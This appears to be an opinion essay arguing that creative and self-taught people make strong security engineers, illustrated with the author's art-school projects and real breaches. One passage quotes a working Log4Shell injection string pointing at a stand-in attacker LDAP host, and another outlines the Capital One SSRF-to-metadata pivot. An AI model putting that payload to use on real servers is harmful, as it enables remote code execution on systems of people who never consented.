You should be hiring artists for security roles

During the early web era and into the 2010s, tech was full of self-taught developers, career switchers, and people from art, music, and journalism. Some of the best engineers I’ve worked with came from that world. They didn’t have CS degrees, just curiosity, tenacity, and the ability to build.¹

This wasn’t unusual. As one Reddit thread recalls, “if you could spell HTML, you got a job” during the web boom.² Major companies actively recruited liberal arts grads. LinkedIn data shows hiring trends favoring humanities degrees between 2010 and 2013,³ and The Washington Post noted that “learning to code was the salvation of millions of liberal arts majors” during that time.⁴

But as tech professionalized, credentials became a filter. That quietly shut out people who think like hackers — not because they lacked skill, but because they didn’t look like engineers on paper.

Now the pendulum is swinging back. Companies are dropping degree requirements,⁵ and Forbes calls liberal arts degrees “tech’s hottest ticket.”⁶ The self-taught dev is making a return, not out of nostalgia, but because it works.⁷

Creativity is core to the work

Security engineering is one of the most creative disciplines in tech. The job isn’t just to write correct code — it’s to understand how things fail. That requires ambiguity tolerance, exploratory thinking, and the ability to imagine behavior outside the design spec. These are the same skills honed in creative disciplines, and, often, so is deep technical fluency.

Many creative fields are already highly technical. I’ve met artists who work fluently with OpenGL, color pipelines, or machine learning, not as hobbyists, but as practitioners. I’ve worked with journalists who scrape databases, wield regular expressions, and navigate complex workflows better than many engineers.

The technical depth is there. What’s often missing is permission: to be seen as “technical,” and to apply in the first place.

That permission starts with how we hire. Not every creative thrives in engineering, but many do. And we shouldn’t build filters that screen them out before we see what they bring.

The hardware store that built hackers

I know this firsthand. I studied art during a historic moment in the University of Iowa’s history: a flood had displaced the arts campus, and we were relocated to a decommissioned Menards hardware store.⁸ It was half classroom, half construction zone. We shared power tools, repurposed rolling lifts for photography rigs, and mounted installations wherever we could.

For one piece, I built an interactive portrait that tracked gallery viewers using a webcam and computer vision. I used the java-based processing.org IDE and libraries.⁹ It glitched constantly. But those glitches taught me how automated systems misread faces, how small changes in input caused large shifts in output, and how flaws in tooling surfaced as visible confusion.

In another, I drove across the state photographing courtroom interiors with a 4×5 large-format camera. I developed the negatives by hand and scanned them with high-resolution drum scanners, a slow, painstaking process that revealed incredible detail. It taught me how system limits are rarely obvious and how fidelity comes from patience and process.

These experiences weren’t labeled “technical”, but they demanded precision, systems thinking, and comfort with failure. They trained the same instincts I use now: work at the edges, see what breaks, and learn from the failure. That’s threat modeling. That’s red teaming. That’s debugging.

That overgrown, chaotic studio mirrored how security actually works. We built with what we had. We pushed tools past their limits. We experimented constantly.

Security is an art of edge cases.

A system that works as designed isn’t necessarily secure. It’s secure if it holds up when things go wrong — when inputs are strange and behavior is unpredictable. That’s not a rules-based challenge. It’s a question of imagination.

Strong security engineers don’t just map systems. They imagine stories:

• What happens when a user does something unexpected?
• What breaks when the system is too literal?
• What’s the weirdest input someone might try, and what would it do?

Bruce Schneier calls this the “security mindset” — constantly asking what if, how could this fail, and what would happen next.¹⁰ Good engineering makes things work. Security asks how they might break.

And the people asking those questions often come from unexpected places.

Attackers are creative.

Security is always a moving target, and the people aiming at it rarely come through the front door.

Some of the most inventive attackers I’ve seen didn’t learn in classrooms. They learned on forums, in game mods, in IRC, even on Youtube! They were broke, brilliant, restless, and they didn’t ask permission. They saw systems not as finished products, but as puzzles to take apart.

When the log4j vulnerability exploded, the first exploits weren’t against banks.¹¹ They hit Minecraft servers. Players realized the game’s chat triggered Java logging, and that pasting a string like ${jndi:ldap://attacker.com/a} could make log4j reach out to a malicious LDAP server and execute code. Just by typing in chat.¹²

The code was “working as designed.” But attackers saw how to bend it into something dangerous.

The same thing happened in the Capital One breach. An SSRF vulnerability let an attacker send internal requests from a public-facing app. Most developers assumed the blast radius stopped there. But the attacker knew that AWS instances expose metadata, including credentials, to internal IPs.¹³ That simple pivot, from app to infrastructure, led to a major breach.

These weren’t failures of syntax. They were failures of imagination.

No scanner flagged log4j. No linter caught the AWS metadata path. The risk wasn’t obvious — until someone found a strange edge case and tried it.

That’s the mindset we need in security: people who explore, who question, who reframe. People who see connections others miss, and push on them, just to see what happens.

You can’t defend against that kind of thinking with a checklist.

Creativity thrives in cognitive diversity

These questions thrive in cognitively diverse teams. People from creative backgrounds often excel, not because they know more, but because they ask different questions. They’re practiced in reframing, improvising, and exploring ambiguity.

The best threat modeling sessions I’ve been in weren’t orderly. They were lively, a little chaotic, the kind where someone tosses out a wild idea, and suddenly, it exposes a real vulnerability.

Research supports this: Creative problem solving leads to better knowledge transfer and faster incident resolution.¹⁴¹⁵ Teams that include cognitive diversity tend to uncover risks traditional hiring filters miss.¹⁶

This should inform how we hire

The shift is already happening, but we should accelerate it. As AI gets better at writing boilerplate and scaffolding, the bottleneck isn’t syntax. It’s insight. What matters more now is how people think, not just what they know.

That changes what we should look for. Companies should:

• Drop CS degree requirements.
• Interview for process, ambiguity tolerance, and exploration.
• Support bridge roles. An artist can learn Python. An event organizer can learn YAML.
• Make your values visible. If you treat nontraditional hires as outliers, others won’t apply, or won’t stay.

This isn’t charity. It’s smart hiring. In a world where LLMs can draft working apps, the real differentiator is creativity — the ability to reframe, adapt, and explore. And the most effective engineers often take the strangest paths.

This is what a hacker looks like

The best security engineers I’ve worked with came from all over: journalism, tattooing, academia, support, the arts. What they had in common wasn’t a shared resume. It was curiosity, fluency with failure, and a love for exploring systems past their edges.

And now that AI handles the predictable parts of engineering, those edges matter more than ever.

LLMs can write code. They can’t model misbehavior.¹⁶ They don’t notice the absurd or imagine the impossible.

That’s still our job.

It’s not a detour from engineering.

It’s the heart of it.